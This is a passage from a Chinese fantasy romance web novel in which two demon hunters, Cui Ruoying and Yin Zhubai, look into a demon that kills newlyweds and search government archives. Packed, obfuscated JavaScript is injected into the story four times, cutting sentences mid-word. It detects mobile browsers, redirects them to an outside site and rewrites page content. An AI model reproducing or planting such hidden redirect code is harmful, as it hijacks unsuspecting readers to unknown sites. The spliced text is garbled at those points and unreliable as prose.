“我没有要买的东西。”殷逐白笑眯眯的,“就厚脸皮跟着崔姑娘了。” 崔若盈道:“你可以跟着寇姐姐和祝大哥嘛,怎么非跟着我?” “我不想打扰寇姑娘与祝公子相处。” 崔若盈没好气道:“所以你就打扰我?” 原著里反派一直跟在男女主身边当电灯泡,那时候他可没嫌烦。 话虽如此,崔若盈还是停住了脚步,等殷逐白走到身边,才继续向前走。 “我打扰到崔姑娘了吗?” 他依旧温和地笑着。额角散落的发丝被带着暖意的春风吹起来,像是在空气中畅游的黑色柳枝。 “真是对不住。” 虽然这样说,却没有一丁点要离开的意思呢。 崔若盈在心里翻了个白眼。 “挺好的,殷家主还能和我说说话。” 时至晌午,行人渐渐多了起来,为了不被人潮冲散,崔若盈常常回头看他是否还在。 而殷逐白,总是回以微笑。 “你怕我走丢了吗?” 两人停在一个卖饼的铺子前。人潮汹涌,行人的影子从两人身后走过,喧闹的人声混在刺眼的阳光中,让安平城的春天多了几分干燥。 “十张饼。”崔若盈比划了一个数目。这种饼很大很干,放很久都不会坏,可以当作赶路时的干粮。 付过钱后,她才想起来回答殷逐白的问题。不过她的回答比起回答,更像是提出一个新的问题。 “原来殷家主也会像三岁小孩一样走丢吗?” “如果崔姑娘拉紧我,就不会。”他总是笑着,连崔若盈也猜不透,他心里到底是怎么想的,“要不然,我可能就像断了线的风筝一样,破破烂烂地飞到很远很远,最后要么摔在泥地里,要么挂在树上。” 说到这里,殷逐白低低地笑了笑:“多可怜。” 崔若盈看了他一眼,伸出手:“可以,我拉着你啊。” 不过对于风筝来说,就算有人拉着也未必安全。如果它的主人是个讨厌的熊孩子,那风筝还是有可能被挂在树上、掉进泥坑里嘛。 殷逐白指尖动了动,视线不自然地从她的脸上,垂落到她的手上。 不知从何而来的云遮住了太阳,气氛在云影中僵持了两三秒。正当崔若盈想收回手时,云被风吹来,另一只手像是活过来了一般,强硬地钻进她的掌心。 那么冷的一只手。柔软,骨节分明,像是一条冰冷却鲜活的蛇。崔若盈恍然感觉,自己在那一瞬间摸到了他五彩斑斓的鳞片。 可回过神,手仍是手,温顺地躺在她的掌中。殷逐白偏头看着她,表情中难得带了几分乖巧,微微蹙起的眉头好像在谴责着她。 ——崔姑娘,不是你说“可以”的吗,怎么不说话了? ——话虽这么说,但谁想到你小子这么迫不及待。呸,不要脸!建议报个男德班上上! 好吧,这话只敢在心里说说。 在他殷切的目光下,崔若盈装作若无其事的样子,“哦”了一声,反握住他的手。 殷逐白脊背僵直一瞬,目光好像被烫伤了一般,从两人相交的手上飞速挪开。 “客官,您的饼好了!” 不和谐的声音传过来,落入两人耳中,像是一道强光穿过夜晚的浓雾。 崔若盈应了一声,飞快松开殷逐白的手,双手接过十张分量十足的饼,将它们放进空间符箓中。 只是他冰冷冷的体温,仍如同蛇一般缠绕在她的掌心,仿佛要渗入她的皮肤、血液、骨髓,在她手臂上来回游走爬行,一如他阴冷的眼神。 “崔姑娘……” 话音未落,锣鼓声与马蹄声突然从街道的尽头传来。殷逐白止住声音,两人齐齐回头,一片鲜红映入眼帘。 “怎么回事?”崔若盈站在殷逐白身边,朝那边仔细看了几秒,“咦?好像是有人成亲?” 只见为首一年轻男子骑着高头大马,几名健壮的轿夫抬着花轿,跟在他的身后,周围还有几人拿着各种乐器,吹拉弹唱,热闹非凡。 应该是去接新娘的。 崔若盈注意到,有几个拿着乐器的人神情怪怪的,东张西望,好像在防备着什么。手里虽然拿着乐器,却没有弹奏,更像是滥竽充数。 这都能混? 这个念头在她脑海中闪过,瞬间就消失不见了。 崔若盈没怎么看过这个时代的婚礼,见不少人站在边上围观,也拉着殷逐白站在一边,兴冲冲地看热闹。 殷逐白若有所思地看着她:“崔姑娘很感兴趣?” “对啊,你不觉得很有意思吗?” “崔姑娘……也想和谁成亲吗?” “啊?”崔若盈侧头看着他,“那还是算了吧,我就是想看看。” “这样啊……” 花轿从两人面前经过,唢呐的声音骤然变大,淹没了殷逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这两个字从崔若盈脑海中转了一转。她下意识朝着迎亲队伍离开的方向看了一眼,却什么都没看到。 “所以说,安平城内果然有一只妖怪作乱喽?” 不过,这似乎不关她的事。 崔若盈想了想:“听说李家和刘家都请了除妖师,应该没问题吧。” 她很快将这件事抛到脑后,和殷逐白一起继续向前采买需要的东西。 过了一会儿,东西买得差不多了,崔若盈抬头看了眼天色,正要说话,忽听远处传来一阵巨大的爆裂声。 那不是普通的爆裂声,更像是灵力大量涌出闹出来的动静。爆裂声过后,一声惊叫传来,其中隐约还掺杂着女子的怒斥,街上行人纷纷驻足朝着声源处看去。 “是寇姐姐!” 崔若盈立刻就听出那声怒斥是寇言湘发出来的。 是了。寇言湘是个性情豪爽、心地善良的人。崔若盈可能袖手旁观,但寇言湘若是发现妖气,一定会拔刀相助。 崔若盈沉住气,对殷逐白道:“我们去看看。” 说着,两人如风一般从行人间穿过,朝着寇言湘所在之处赶去。 45. 真的很像啊 离寇言湘越近,灵力的波动就越明显,崔若盈也察觉到了妖气的存在。 混乱发生地似乎是一家大户人家的家中。 离得老远,崔若盈就遥遥望到那户人家中一片刺眼的红,再联想到刚才殷逐白的话,她心中已经有了猜测。 看来,出事的就是这次要结亲的两户人家了。 崔若盈皱了皱眉,前方那片红越来越亮,灵力带起锐利的风,从她的眼尾划过。她从屋顶一跃而下,落到混乱的现场。 现场早已是一片人仰马翻。 小厮、侍女四散奔逃,衣着华贵的宾客也吓得面无人色。碎成两半的花轿倒在大门口,轿夫早已不知所踪,只有新郎还呆站在原地。 寇言湘提着剑,站在一片混乱之中,在她身边,瘫坐着一个穿着喜服,花容失色的女子。 祝星游不在现场,但崔若盈感知到了他的灵力,想来刚刚应该也是在的。 “寇姐姐!”崔若盈快步走到寇言湘身边,“这是怎么回事?” 见到是她,寇言湘原本紧绷的身体松了几分,简言意骇道:“有妖怪作乱,祝星游去追了。” 果然是这样。 崔若盈看了眼瘫坐在地上的年轻新娘,伸手将她扶起来,脸上露出一个安抚的笑容:“这位姐姐不要害怕,地上凉,先起来吧。” 新娘这才回魂一般,捉住崔若盈的手腕勉强站起身。她浑身冰凉,显然是怕极了,身体还在不断颤抖。 崔若盈安慰道:“你放心,我们是很厉害的除妖师,肯定能解决那只妖怪的。” 新娘含糊地“嗯”了一声。过了一会儿,她战战兢兢地开口道:“刚才,她变成我的样子,和我一起、一起坐在花轿里。我动不了……” 会幻化? 崔若盈眼睛微动,拍了拍她的手背:“没事了。我的同伴去追妖怪了。” 新娘点点头,情绪好了一些。 这时,院子里惊魂未定的其他人也反应过来,各自交头接耳,侍女也大着胆子上前收拾一地狼藉。 一对打扮富贵的中年男女相携走到寇言湘面前,犹豫道:“这位女侠,可是除妖师吗?” 寇言湘点头:“我叫寇言湘,这是我的同伴崔若盈和殷逐白。” 崔若盈抬手打了个招呼,站在她身后的殷逐白则是拱手行礼。 光看外表,三个人都正气凛然,很容易让人放下戒心。中年人松了一口气,也跟着自我介绍。 “我叫李天福,这位是我的夫人。这个是我的女儿惠夏,今天是她……出嫁的日子。” 几人简单说了几句,祝星游就独自一人回来了。 “那妖怪呢?” 祝星游摇摇头:“她极其擅长隐藏妖气,还会幻化,我追了没一会儿,就跟丢了。” 寇言湘道:“不怪你。” 那只妖怪的妖气是很弱,几乎可以说是没有。要不是花轿路过她面前时颠簸了一下,泄露了一丝气息,她恐怕也发现不了。 不过相比寇言湘,李家众人可就不那么淡定了。李天福着急道:“那可怎么办啊!妖怪会不会回来?” 李惠夏也吓得拉住崔若盈的手,小声抽泣起来,崔若盈小声安慰她。 殷逐白站在她的身后,目光停驻在两人交叠的手上,垂落的发丝挡住他晦暗不明的神色。 过了半晌,他才轻轻挪开目光。 崔若盈,她好像对谁都好。 他心里想着,脚步却不自觉地挪到崔若盈的身边,自然垂下的手臂状似无意地蹭到她的袖子。 袖子上缀着的小小珠子擦过他的指节,棉布在手背上留下轻柔的触感,让他心中诡异地满足起来。 崔若盈没注意到殷逐白的异动。她看向寇言湘:“寇姐姐?” 李天福知道几人中做主的是寇言湘,也对她投来恳求的眼神:“几位除妖师可否留下,替我们两家解决这场劫难?不管付出什么代价,哪怕散尽家财,只要……” 寇言湘想了想,看向崔若盈几人:“我想留下来解决这件事。” 崔若盈点头:“好!那我也留下来!” 反正她根本不在意什么妖怪,更不在意平山幽山,跟着寇言湘走就是了。 寇言湘又看向殷逐白:“那殷家主?” 殷逐白的视线却落在崔若盈身上:“崔姑娘去哪里,我就去哪里。” 崔若盈:“……”呃呃,这家伙还真缠上她了? 被一个对她好感度负数的阴暗反派缠上了……有够毛骨悚然的。 崔若盈扯出一个笑容,低头看到反派的手指正偷偷触碰她袖子上的珠子,一时间恶从心头起。 她瞧了眼那只纤细瘦削的手,一把将袖子拉开,反派微微抬起的手顿时暴露在阳光之下。 寇言湘也有些无奈。她完全搞不清两人之间的状况,只能道:“那我们先留下,尽快将那只妖怪捉住吧。” 几人都点点头。 听说几人都留下,李天福喜不自胜,赶快差遣下人打扫客房。 今天闹成这样,这亲肯定是结不成了。幸好刘李两家世代交好,可以择日再举行婚礼。 无关人等尽数离去,院子中安静了不少,寇言湘这才和崔若盈两人说起事情的经过。 “我当时路过门口的时候,正赶上新娘进花轿。花轿马上被抬走的时候,我突然感觉到一阵微弱的妖气,情急之下就立刻出手了。” 崔若盈道:“我听李小姐说,那个妖怪变成她的样子了?” 寇言湘点头:“没错。当时我一剑劈开花轿,发现里面有两名打扮和容貌都一模一样的新娘。其中一个就是妖怪假扮的。” 那只妖怪见了寇言湘和祝星游,非但不害怕,还与他们打了起来。崔若盈感知到的灵力波动就是这时候引起的。 “或许是察觉到了你们两个的接近,那只妖怪才跑了。为了防止它杀个回马枪,我才留在李家,由祝星游去追。” 殷逐白道:“那只妖怪实力如何?” 寇言湘想了想:“实力不俗。” 寇言湘和祝星游是除妖师中的佼佼者,那只妖怪和他们战斗不落下风,可见其实力。 “最重要的是,那只妖怪身上满是血气,想来杀了不少无辜百姓。若放任它不管,假以时日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959754|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不定会成为心头大患。” 殷逐白道:“寇姑娘考虑得很周全。其实,我和崔姑娘也听说安平城经常有新人遇害。” 说到这里,他的眸光落在崔若盈身上。漂亮的桃花眼中闪烁着暗光,两颗玻璃珠一般的眼睛镶嵌在雪白的脸上,就像春雪消融后露出的黑色磁石。 他为什么总是看着她? 这个念头飞快从脑海中闪过。崔若盈抱着手臂,顺着殷逐白的话接着向下说。 “是有这么回事。那只妖怪为什么只盯着新婚夫妻呢?” 祝星游慢吞吞道:“可能是为了修炼特定的邪法。” 有一部分妖怪会噬人血肉修炼。根据它们修炼的法术不同,选择的目标也不同。 有的只吃童男童女,有的只吃女子或男子,只吃新婚夫妻的妖怪虽然罕见,但也不是没有。 寇言湘道:“这么说,安平城的居民说不定知道些什么。现在天色还早,我们不如出去打探一下消息。” 崔若盈正要表示赞同,就听殷逐白的声音幽幽从身后传来:“寇姑娘和祝公子守在李家,我和崔姑娘去打探消息如何?” 崔若盈闻言,不由得侧目而视。只见殷逐白的神色仍如光风霁月般疏朗,好似不曾藏着任何私心杂念。 从前怎么不见他这么积极? 崔若盈心里腹诽。 以前想攻略反派的时候,费尽心机想与他独处。现在不想攻略了,反派就成了没味道的口香糖,想吐出去,却找不到垃圾桶,成了一个甩也甩不掉的负担。 ——这还是块会动的口香糖。如果直接吐在地上,说不定会自己跑到她脚下,然后狠狠地黏在她的鞋底。 “崔姑娘想什么呢?” 崔若盈回过神,这才发现原来自己已经不知不觉走出了李家,正和殷逐白并肩走在炽热的午后阳光中。 在想,你为什么非要跟着一个负好感的人呢? 崔若盈心里想着,却没胆子说出来。 “就是在想攻击李小姐的是什么妖怪。”崔若盈道,“那只妖怪那么强,明明可以直接掳走李小姐和刘家少爷,为什么非要藏在花轿里呢?” 要不是寇言湘发现,那只妖怪就会一直藏在花轿里,跟着到刘家,然后…… 殷逐白道:“崔姑娘真是聪明。” 这句话,似乎已经成了他的口头禅。 崔若盈转头看他。 阳光下,他笑容和煦,眼中仿佛带着粼粼波光,波光下,让人捉摸不透的汹涌暗潮正在无情地涌动。 崔若盈不自觉地眯了眯眼,试图看清那层薄薄皮囊下藏着的怪物,但看了半天,殷逐白还是殷逐白,那张脸仍旧美丽俊俏如妖,不曾有丝毫的变化。 她收回视线,盯着脚下踩着的影子,突然道:“其实,我以前遇到过一个和你很像的人。” 殷逐白道:“长得像?” 崔若盈摇头:“除了脸,其他都很像。” 她想到谢流玉,恍惚了一下。 “真的很像啊。不看脸的话,说不定会认错。” 可是殷逐白,怎么会变成谢流玉呢? 46. 他好像在拥抱着她 殷逐白语气轻描淡写:“人有相似,也不是什么稀奇事。” 崔若盈道:“也是。” 她不再提这件事。两人出了李家,直奔安平城衙门。 一般来讲,城内出了疑似妖怪伤人、杀人的事件,都必须上报,府衙也会将这件事记录留档,等待除妖师查阅。 而除妖师拿着身份令牌,可以任意调取这部分卷宗,当地官府不得有任何阻拦。 安平城刚出现新婚夫妻被害事件时,官府也请过除妖师。然而那妖怪极其擅长隐匿,来的除妖师都无功而返,官府对此也不抱期望了。 见到有除妖师过来询问此事,官差都有些惊讶,但还是带两人去了保有相关档案的架库阁。 “近些年的案件卷宗都在这里了。”官差指了指其中一个书架,“你们要找的就在那里面,前两波除妖师调查的记录也在那里,两位自行查阅吧。” 崔若盈扫了眼他所指的书架,见上面密密麻麻堆放着卷宗,不由得有些头疼。 殷逐白对官差道了谢,温文有礼的模样让官差多看了他几眼,声音也恭敬了几分。 “这里日夜都有人看守,两位可以慢慢找。若要离开,知会一下看守人就行了。” 说着,对崔若盈和殷逐白点点头,转身退出房间,还贴心地关好了门。 徐徐吹来的风骤然被关上的房门挡在外面,房间中只剩一片泥泞般的沉默。下午的阳光从窗户照进来,崔若盈看见灰尘在空气中飞舞。 崔若盈走到书架前:“看来他们没有帮忙的意思。” 殷逐白倒是很善解人意:“他们毕竟不是除妖师,如果帮忙查阅,说不定会遗漏重要线索。” 说着,他侧头看了眼崔若盈,见她踮着脚,望着摆放在书架最上方的卷宗,不由得笑了笑。 “我们一起查吧,希望能赶在天黑之前,查到有用的线索。” 殷逐白走到她的身后,抬手去拿最高处的卷宗。 宽大的袖子在重力的作用下滑落,露出他雪白紧实的手臂。崔若盈只要一抬头,就能看到他手臂上盘踞的青紫色血管。 殷逐白把卷宗拿了下来。 打扫架库阁的人似乎偷懒了,最上层的书架上落了一层薄薄的灰。 殷逐白蹙眉瞥了眼卷宗上的蛛网,掏出手绢把上面的灰尘擦干净,这才将它递到崔若盈面前。 “给。” 崔若盈接过卷宗,一边翻看一边道:“我记得殷家主很爱干净来着。” 殷逐白低低道:“所以……才不想让你的手被弄脏。” 为了方便查阅调取卷宗,架库阁内靠窗的位置放了桌椅,那桌椅倒是被擦得干净。 崔若盈将窗打开,午后的风从窗口涌入,吹动她鬓边的发丝。崔若盈站在窗户旁,吸了几口新鲜空气,这才坐到椅子上。 殷逐白早已坐在了她的对面。 桌面上,卷宗堆积如山。 两人都没有说话,安静地翻阅着资料,希望能在卷宗中查到关于那妖怪的蛛丝马迹。 时间一点点过去,血红的夕晖斜斜地穿过半敞开的窗户,染红崔若盈的面庞。崔若盈抬起头,揉了揉有些酸痛的脖颈,朝外面看了眼,再看看系统面板上的时间。 原来已经是下午五点了。 太阳很快落下。古代没有彻夜闪烁的霓虹灯,夜晚总是来得很早很早。等最后一抹残阳隐退,夜色就要吞没整个世界了。 崔若盈将卷宗放到一旁,整理了一下刚才得到的信息。 按照卷宗上记载,第一起案件发生在一年半以前,受害的新婚夫妻是城西的张贵、赵平娘两人。 这二人青梅竹马,到了适婚年龄就开始谈婚论嫁。因为两人都是平头百姓,也没有大摆筵席,只请了些亲戚朋友相聚。 新婚那日无事发生,晚上新郎回房,也都风平浪静,没人察觉出异常。 直到第二日早上,新婚夫妻迟迟没有露面,家里人察觉到不对,才进新房查看,结果却见到了两人残缺的尸体。 家人又惊又悲,几欲昏厥,在邻居的帮助下报了官。官府派人查看了现场,又找仵作验尸,才发现两名死者的尸体上有被啃咬过的痕迹,眼珠也都不翼而飞了。 没过几天,安平城内又有其他命案发生,过程都大差不差。这件事明显不是普通人所为。于是官府将这件事归类于“妖怪作祟”。 至今为止,安平城已经发生了十几起类似事件,受害者也有三十七人之多。 殷逐白轻轻皱起眉:“这样严重的事,居然拖了一整年还未解决。” 崔若盈道:“这段时间大量妖族迁移到芦州,有很多妖怪实力都很强。应该不是不想管,是管不过来吧。” 除妖师人手短缺,连殷逐白这个家主,都要披星戴月大半夜出去除妖,然后再风尘仆仆赶回家中。 嘶……这样看来,他这家伙还挺劳模的。 殷逐白翻了翻另一份资料,忽然道:“崔姑娘,你看。” “嗯?” 崔若盈应了一声,走到他的身后,弯腰去看他手里的卷宗。夕阳的光映在她的发上,让她的发丝闪烁着如火光般的金红色光辉。 “除妖师?” 崔若盈凑近了些,轻轻念出上面的字。 几缕发丝从她鬓边垂落,如同瀑布般冰冰凉凉地落在他的肩头。殷逐白垂了垂眼,指尖轻柔地碰上她的发丝,又趁着她没注意快速缩回。 而他的身体,却不着痕迹地凑近了些。 殷逐白道:“这是那些除妖师留下的调查记录。” 他好像是故意的。说话时产生的气息肆无忌惮地喷薄在她的颈侧。那气息灼热,像是火山爆发的前兆,烫得人心神不宁。 崔若盈侧目看了他一眼,见他坐姿端正,神色如常,如同高山上的皑皑白雪。夕阳的光落在白雪上,千万朵堆积起来的雪花一同亮着华美凛冽的光辉。 一副凛然不可侵犯的模样。 “崔姑娘?” 温热的呼吸又落在她身上。崔若盈忽略掉那种异样感,回应道:“我在听。” 她伸手翻了页卷宗,目光停留在纸上几个端正的字上:“罗刹鸟?他们觉得在这里作乱的妖怪是罗刹鸟?” 殷逐白点头:“这就是我想让你看的。你还记得吗?” 崔若盈笑了笑:“当然记得。” 做完内河村任务回程的路上,她就碰到了一只变成殷逐白模样的罗刹鸟。不过那只妖怪被她识破,死在殷逐白剑下了。 “这么说确实挺像的。”崔若盈想了想,“又会幻化、又善于隐藏。而且我听说,罗刹鸟喜食眼珠。这些案件的死者尸体破损程度各有不同,但眼珠确实都不见了。不过……” 不过,她又总觉得这件事不是那么简单。 “崔姑娘的怀疑也有道理。”殷逐白合上卷宗,站起身来,“其实这几年,妖怪伪装成其他妖族作案的事件屡见不鲜,小心些没有坏处。” “既然能查的卷宗都查完了,我们先回去吧。” 崔若盈又看了看天色。几句话的工夫,太阳已经没入地平线,绯红色的晚霞在天际徜徉,点点银色星光缀在天空正中。 她抱着沉重的卷宗走到书架前,一边将它们一一放回原位,一边道:“对了,我刚才查卷宗时发现,原来不是所有被妖怪袭击的人都死了。” 殷逐白也在整理书架。在渐渐黯淡的天光中,他的神色也如同笼罩了一层薄薄的纱。 “还有幸存者?” “嗯,是个女子。”崔若盈道,“我们明天去找她,看看能不能问出点什么。” 虽然那些除妖师已经问得很详细了,但说不定还有他们没注意到的细节。 似乎觉得自己的语气有些生硬,崔若盈停顿了一下,又补充道:“可以吗?” 殷逐白温柔地笑道:“我听你的。” 崔若盈心里翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971183|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个白眼。 说得好听。 如果反派都听她的,她让他喜欢她,他就喜欢她;她让他去死,他就去死……那该是怎样一件美事啊。 算了。不做梦了。 把书架上的东西都放回原位,崔若盈拍掉手上的灰尘:“好了,我们走吧……咦,等等。” 她突然想到了什么,原本打算离开的脚步一转,走到了另一个书架前,弯腰开始翻找起来。 架库阁里的卷宗是按照时间分类的,崔若盈找的那处放着的,应该是两三年前的卷宗了。 殷逐白走过去:“你发现什么了吗?” “没,就是想起一件事。” 崔若盈从书架最底下抽出一份卷宗,抬手拍掉上面的灰,借着最后一丝天光快速看了一遍。 殷逐白凑到她身边。他与她离得很近,崔若盈甚至能感觉到他纤长的睫毛扫过她的面颊。 “金鸣寺?”他垂眼,轻轻念出几个字,“就是我们昨晚住宿的那个古寺吗?那个寺庙和这些案件有什么关系?” “没什么关系啊。” 崔若盈一目十行扫过卷宗上的内容,又把它放回原处。 “就是有些好奇。” “嗯?好奇?” 他贴得更紧了。两人几乎依偎在一起,呼吸也随着胸膛起伏的节奏而交缠,隔着几层衣料,崔若盈甚至能感觉到他冰冷的体温。 最后一缕阳光适时被夜晚吞噬,架库阁内只剩一片寂静的深蓝。青年的身体柔软、富有弹性,却没有一丝人气。 他好像在拥抱着她——而她感觉,拥抱着她的是一具活尸。 光想想,就让人毛骨悚然了。而崔若盈……崔若盈已经习惯了。 崔若盈:“……”哥们又犯病了是吗,非要贴着她。 持续性负好感,间歇性倒贴是吧。 她忽略掉他缠绕在她身上的发丝,也忽略掉他冰冷如尸体的躯体,镇定地从他的怀中脱身:“对呀。昨天在金鸣寺的时候,我就感觉不对。” 殷逐白“嗯哼”了一声。从身后传来的声音带着一点慵懒沙哑的鼻音,语气微微上扬,好像在引诱着她。 “因为金鸣寺还保留着烧焦的建筑。我看了一眼,发现有几处被烧得最严重的建筑中间都隔着一段距离,它们中间的位置烧损反而不严重。” 也就是说,金鸣寺火灾有好几处起火点,而且几处起火点都很分散。 殷逐白明白了她的意思:“所以你怀疑是有人故意纵火?” 崔若盈点头:“所以我才好奇,想看看呀。没想到这里还真有金鸣寺火灾的卷宗。” 她拍了拍手上的灰,有点得意。可一抬头,就看到殷逐白正在看着她——那目光黏稠,像是最黏的蜂蜜,湿乎乎地贴在她的身上,极其缓慢地向下流淌。 “……怎么了吗?” 他又笑起来。他的笑容可真好看,春天所有的花,好像都在这个夜晚一齐绽放。带着这样的笑容,他突然向前一步。 崔若盈吓了一跳。 她还以为他要抱她,但殷逐白的动作却骤然停在她身前,只有带着些许倦意的声音,像黏稠而甜蜜的蜂蜜一样,将她彻底淹没。 “崔姑娘真是……” 崔若盈无奈抢答:“崔姑娘真是聪明。” 实在不是她聪明,而是哥们跟个人工智障一样,只会说这几句话。 转人工,转人工好吧。 殷逐白又低低笑了起来:“崔姑娘真是聪明。” 虽然是同一句话,但从他嘴里说出来,好像的确多了种别样的暧昧意味。 崔若盈没理他,转身就走。 殷逐白站在黑暗中,看着她的背影,突然又用一种带着凛然正气的正直口吻喃喃道:“崔姑娘,我好像离不开你。” 然而一眨眼的工夫,崔若盈就已出了门,这句真心话在空荡荡的屋子里转啊转啊,最后只能无奈地消失在黑暗中。 47. 只要他想,随时都能 像官差交代的那样,告知过架库阁的管理人员,两人走出府衙时,天色已经不早了。 晚霞消弭,繁星点缀在黑蓝色的夜空里,弦月被簇拥在星光中。离月中还早,月亮的光并不夺目,温柔地与璀璨星河融为一体。 崔若盈拿出提灯,隐隐约约的灯光透过灯纱,照亮前方一小片路。 殷逐白顺势接过灯笼,用舒缓柔和的语调说道:“我来吧。” 崔若盈没有意见,把灯笼递到他手上。光芒随着交接的动作,如海潮一般,倏忽间摇动起来。 灯光映在殷逐白的脸上,他垂着眼,缓慢地打量着手中的提灯。 这灯很漂亮,灯纱上还绣了漂亮的锦鲤图案,结构也精巧,远不是市面上能买到的提灯能比,说是独一无二也不为过。 可是……他总觉得这灯有些眼熟。 殷逐白眯起眼,记忆却像是灯光一样,飘摇不定。 “不知道寇姐姐那边顺不顺利。”崔若盈没注意到他的犹疑,“他们会不会打听出来什么?” 寇言湘和祝星游虽然留守李家,但也不是什么都不用做。 他们还需要问一问李家的人,推测一下李惠夏和刘家的刘孝成为什么会被那只妖怪盯上。 要知道,也不是每对新人都会遭妖怪毒手。难道妖怪只是随机作案?或者李惠夏和刘孝成,满足了什么条件? 如果能查出这点,就能大致推测出妖怪的目标了。 “寇姑娘和祝公子实力不俗,应该可以的。” 崔若盈点头:“希望是这样。” 经过一个下午,再回到李家时,闹剧的痕迹已经全部被抹去,只有红绸没来得及撤下,还孤零零地挂在李宅的牌匾上。 四人聚在一处,交流起自己掌握的信息。 “李小姐吓坏了,但还是强撑着提供了一些信息。”寇言湘叹了一口气,“可惜她这几天的经历实在平常,不过是待在家中备嫁罢了,都没怎么出过门。” 崔若盈道:“那她有没有说过什么犯忌讳的话?” 寇言湘苦笑:“这怎么想得起来?不过我听李家的侍女说,李小姐格外重视自己的言行,从不讲人闲话。我想,应该没有吧……” 紧接着,她又说了些李惠夏的事。 刘李两家都是安平城内数一数二的大户人家,两家世代交好,李惠夏和刘孝成也是青梅竹马,从小就有婚约。 “刘家那边我们也问过,也没得到什么消息。” 看来,这条线索是断了。 寇言湘说完,崔若盈接着把今天在卷宗上看到的消息说了,并且提出明天要去拜访那位幸存女子。 寇言湘赞同道:“十几起案子,只有她一人幸存,而且后续也没被那妖怪斩草除根。那女子身上说不定真有什么特别之处。你们明天探查的时候可要小心,如果遇到问题,就与我们联络。” 说到这里,她停顿一下,又侧头看了殷逐白一眼,笑嘻嘻道:“不过我觉得,有殷家主在,应该用不上我们吧?” 崔若盈斜眼笑:“是呀,我们才不会那么没眼色,打扰你们两个相处。” 寇言湘本想趁机调侃她两句,没想到被她反击回来,立刻涨红脸,生硬地转移了话题。 几人又简单聊了几句,定下明天的行动。眼看夜色渐浓,寇言湘让其他几人去休息,自己则是去李惠夏那边守夜,以免妖怪夜半突袭。 崔若盈提出和她换班,寇言湘却笑道:“你明天还要出去打探消息,今晚还是好好休息吧。放心,我一个人应付得来。” 听寇言湘这么说,她只能先回去休息。 崔若盈以为自己睡不着。实际上躺到床上没多久,她就沉沉睡去。 不知睡了多久——可能是两个小时,也可能是三个小时。房间外传来夜莺的啼鸣,星星的银辉如粼粼的湖光,在地面上流淌。 崔若盈突然惊醒,摸向自己的脖颈。柔软的细丝套在她的脖子上,一圈、一圈,紧紧将她缠绕。 这不禁让她想起内河村下的青蛛妖巢穴中,细细密密的蜘蛛丝晕出的冰冷银光。一阵风吹过,交错的蛛丝左右晃动着,像是在呼吸。 没错。呼吸。 呼吸声正从她身后传来。 崔若盈想也不想,快速摸出藏在枕头下的短刀,以迅雷不及掩耳之势,反手朝着身后的不速之客刺去—— 夜色奔涌,蝉鸣声在草丛中徐徐响起,其他几间客房中的烛光早就熄灭了。浓稠的暗色在客院中酝酿着。 崔若盈,应该也睡了吧? 殷逐白静立在她的门口。房内传来的清浅呼吸声像是月光,而他心中的潮汐被月亮牵引着,在黑暗中翻涌。 他的思绪很乱,像是凌乱地黏在一起的蜘蛛丝。 时而有零碎的画面像水流一样从纷乱的思绪中穿过。他捉住那画面定睛一看,原来他心中不自觉描绘的,竟然是她白天解谜时神采飞扬的模样。 怎么会这样?殷逐白有些不是滋味地想着。 明明……崔若盈心里对“殷逐白”也很有好感吧?那为什么,他要像个小偷一样,只能趁着夜半无人,偷偷地来到她的身边呢? 殷逐白半伏在她的床边。 钻进她的房间不是什么难事,只要他想,随时都能。那个正人君子“殷家主”,虽然能获取她的好感,却做不到每夜抱着她——至少现在做不到吧? 但他能。 崔若盈背对着他,身体随呼吸起伏。殷逐白支着身子,自上而下看了她一会儿,这才伏到她身边,用额头轻轻抵着她的后背,蜷缩着睡去。 然后……又是冗长的、仿佛由碎片组成的梦境。 提灯,就是让他感觉困惑的那个提灯,像是鬼火一样飘在他的梦中。紧接着,泥土的味道和细雨的声音一起,钻入他的世界。 “殿下,你怎么在这里?” 提灯亮着,灯纱上绣着的鲤鱼活了过来,在夜晚中摆动着轻纱般的尾鳍。有人走到他的身边,殷逐白知道,那肯定是崔若盈。 为什么是崔若盈? 他不知道。在梦境中,他失去了思考能力。 细雨冲刷着回廊,潺潺流水流到廊下。提灯摇摆着,倏忽间调转了方向,朝着相反的方向飘去。 殷逐白来不及去想,他只感觉自己的身体向前一跃,一把攥住她的衣角。她俯身,他看到了她的脸。 果然是崔若盈。 她的指尖落在他的额头上,冰冰凉凉。他不自觉地向前动了动,想从她手上汲取更多凉意。 可他却扑了个空。梦境破碎,天地倒悬,下一秒朝他飞来的,却是利刃带起的微弱破空声。 崔若盈很擅长暗杀。 时空委托公司有四千名员工,A级及以上只有不到一百人。崔若盈能干到这个级别,自然是有两把刷子的。 她很少出手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 